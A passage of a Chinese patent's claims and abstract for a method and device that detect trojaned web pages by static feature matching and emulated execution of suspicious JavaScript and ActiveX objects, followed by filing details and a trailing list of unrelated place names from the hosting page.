,以確定所述對象內(nèi)容是否包含危險數(shù)據(jù)。3.如權(quán)利要求1或者2所述的網(wǎng)頁掛馬檢測方法,其中所述確定所述對象內(nèi)容是否包含危險數(shù)據(jù)的步驟還包括構(gòu)造對象執(zhí)行引擎來模擬執(zhí)行所述對象內(nèi)容;監(jiān)控所述對象內(nèi)容的模擬執(zhí)行,當出現(xiàn)異常行為時,確定所述對象內(nèi)容包含危險數(shù)據(jù)。4.如權(quán)利要求3所述的網(wǎng)頁掛馬檢測方法,其中所述對象內(nèi)容包括javascript腳本,所述對象執(zhí)行引擎包括javascript腳本解釋引擎,所述異常行為包括所述javascript腳本在執(zhí)行時分配大量內(nèi)存或者覆蓋特定地址。5.如權(quán)利要求3所述的網(wǎng)頁掛馬檢測方法,其中所述對象內(nèi)容包括ActiveX控件,所述對象執(zhí)行引擎包括ActiveX控件執(zhí)行引擎,所述異常行為包括所述控件在執(zhí)行時調(diào)用危險接口。6.如權(quán)利要求1或者2所述的網(wǎng)頁掛馬檢測方法,其中所述對所獲取的網(wǎng)頁內(nèi)容進行靜態(tài)分析包括根據(jù)可能包含危險數(shù)據(jù)的網(wǎng)頁對象的對象特征對所獲取的網(wǎng)頁內(nèi)容進行特征匹配,以檢測可能包含危險數(shù)據(jù)的網(wǎng)頁對象。7.如權(quán)利要求1或者2所述的網(wǎng)頁掛馬檢測方法,其中所述獲取所檢測到的網(wǎng)頁對象的對象內(nèi)容包括獲取所述網(wǎng)頁對象相關(guān)聯(lián)的URL鏈接,并獲取該URL鏈接指向的內(nèi)容進行處理。8.如權(quán)利要求7所述的網(wǎng)頁掛馬檢測方法,其中對于所述URL鏈接,通過遞歸執(zhí)行權(quán)利要求1所述的方法來檢測來鏈接所指向的網(wǎng)頁內(nèi)容是否包含危險數(shù)據(jù)。9.如權(quán)利要求3所述的網(wǎng)頁掛馬檢測方法,還包括步驟當所述對象內(nèi)容的模擬執(zhí)行期間調(diào)用外部URL時,則遞歸執(zhí)行權(quán)利要求1所述的方法來檢測來鏈接所指向的網(wǎng)頁內(nèi)容是否包含危險數(shù)據(jù)。10.一種網(wǎng)頁掛馬檢測設備,包括網(wǎng)頁獲取裝置,用于獲取與URL相對應的網(wǎng)頁內(nèi)容;靜態(tài)分析裝置,用于對所獲取的網(wǎng)頁內(nèi)容進行靜態(tài)分析,以檢測出可能包含危險數(shù)據(jù)的網(wǎng)頁對象;對象內(nèi)容獲取裝置,用于為所檢測出的可能包含危險數(shù)據(jù)的網(wǎng)頁對象獲取對象內(nèi)容;以及危險數(shù)據(jù)確定裝置,用于判斷所述對象內(nèi)容是否包含危險數(shù)據(jù)。11.如權(quán)利要求10所述的網(wǎng)頁掛馬檢測設備,還包括對象特征庫,包括可能包含危險數(shù)據(jù)的網(wǎng)頁對象的對象特征,其中所述靜態(tài)分析裝置根據(jù)所述對象特征庫所包括的對象特征,通過對所述網(wǎng)頁內(nèi)容進行特征匹配來檢測出可能包含危險數(shù)據(jù)的網(wǎng)頁對象。12.如權(quán)利要求10或者11所述的網(wǎng)頁掛馬檢測設備,其中所述內(nèi)容獲取裝置包括可疑URL獲取裝置和直接對象內(nèi)容獲取裝置,所述可疑URL獲取裝置提取所述網(wǎng)頁對象中的URL鏈接,并將該URL發(fā)送到所述網(wǎng)頁獲取裝置進行處理,以及所述直接對象內(nèi)容獲取裝置直接獲取所述網(wǎng)頁對象的對象內(nèi)容。13.如權(quán)利要求10或者11所述的網(wǎng)頁掛馬檢測設備,還包括危險數(shù)據(jù)特征庫,其中包括各種危險數(shù)據(jù)的特征信息;其中所述危險數(shù)據(jù)確定裝置包括特征匹配裝置,用于參考所述危險數(shù)據(jù)特征庫中的危險數(shù)據(jù)的特征信息來確定對象內(nèi)容是否包含危險數(shù)據(jù)。14.如權(quán)利要求10或者11所述的網(wǎng)頁掛馬檢測設備,其中所述危險數(shù)據(jù)確定裝置包括模擬執(zhí)行裝置,用于構(gòu)造對象執(zhí)行引擎來模擬執(zhí)行所述對象內(nèi)容,并且通過監(jiān)控所述對象內(nèi)容執(zhí)行期間的異常行為來確定所述對象內(nèi)容是否包括危險數(shù)據(jù)。15.如權(quán)利要求14所述的網(wǎng)頁掛馬檢測設備,其中所述模擬執(zhí)行裝置在模擬執(zhí)行所述對象內(nèi)容期間發(fā)現(xiàn)有對外部URL的調(diào)用時,提取該URL鏈接,并將其發(fā)送到網(wǎng)頁獲取裝置210進行進一步處理。16.如權(quán)利要求14所述的網(wǎng)頁掛馬檢測設備,其中所述對象內(nèi)容為javascript腳本,而且所述模擬執(zhí)行裝置包括javascript解析引擎,用于模擬執(zhí)行javascript腳本,并監(jiān)控該javascript腳本執(zhí)行過程中的內(nèi)存分配情況,如果發(fā)現(xiàn)該javascript腳本在執(zhí)行時分配大量內(nèi)存或者覆蓋特定地址,則認為該對象內(nèi)容包含危險數(shù)據(jù)。17.如權(quán)利要求14所述的網(wǎng)頁掛馬檢測設備,其中所述對象內(nèi)容為ActiveX控件,而且所述模擬執(zhí)行裝置包括ActiveX模擬引擎,用于模擬執(zhí)行該ActiveX控件,并且監(jiān)控該ActiveX控件執(zhí)行過程中是否存在對危險接口的調(diào)用,當存在對所述危險接口的調(diào)用時,認為該對象內(nèi)容包含危險數(shù)據(jù)。18.一種網(wǎng)站主動檢測系統(tǒng),包括如權(quán)利要求10-17中的任一個所述的網(wǎng)頁掛馬檢測設備。19.一種網(wǎng)頁爬蟲系統(tǒng),包括如權(quán)利要求10-17中的任一個所述的網(wǎng)頁掛馬檢測設備。全文摘要本發(fā)明公開了一種檢測網(wǎng)頁是否包含危險數(shù)據(jù)的網(wǎng)頁掛馬檢測方法,包括步驟獲取網(wǎng)頁內(nèi)容;對所獲取的網(wǎng)頁內(nèi)容進行靜態(tài)分析,以檢測可能包含危險數(shù)據(jù)的網(wǎng)頁對象;獲取所檢測到的網(wǎng)頁對象的對象內(nèi)容;以及確定所述對象內(nèi)容是否包含危險數(shù)據(jù)。本發(fā)明還公開了相應的網(wǎng)頁掛馬檢測設備。本發(fā)明通過靜態(tài)分析網(wǎng)頁內(nèi)容和動態(tài)解釋執(zhí)行可疑的對象內(nèi)容來高效且準確地檢測網(wǎng)頁是否被掛馬。文檔編號G06F21/00GK101964026SQ20091008978公開日2011年2月2日申請日期2009年7月23日優(yōu)先權(quán)日2009年7月23日發(fā)明者溫玉杰,王曉明申請人:中聯(lián)綠盟信息技術(shù)(北京)有限公司
網(wǎng)友詢問留言 已有0條留言
  • 還沒有人留言評論。精彩留言會獲得點贊!
1
漠河县| 吉水县| 色达县| 陈巴尔虎旗| 衡山县| 无为县| 广安市| 营山县| 米林县| 会昌县| 酉阳| 通山县| 奉化市| 离岛区| 商河县| 哈尔滨市| 南岸区| 惠水县| 林甸县| 郴州市| 东平县| 双辽市| 元江| 平江县| 樟树市| 福鼎市| 连州市| 台安县| 乌兰察布市| 富川| 浙江省| 岑溪市| 翁源县| 泸溪县| 湖北省| 营口市| 临武县| 纳雍县| 易门县| 太仆寺旗| 南雄市|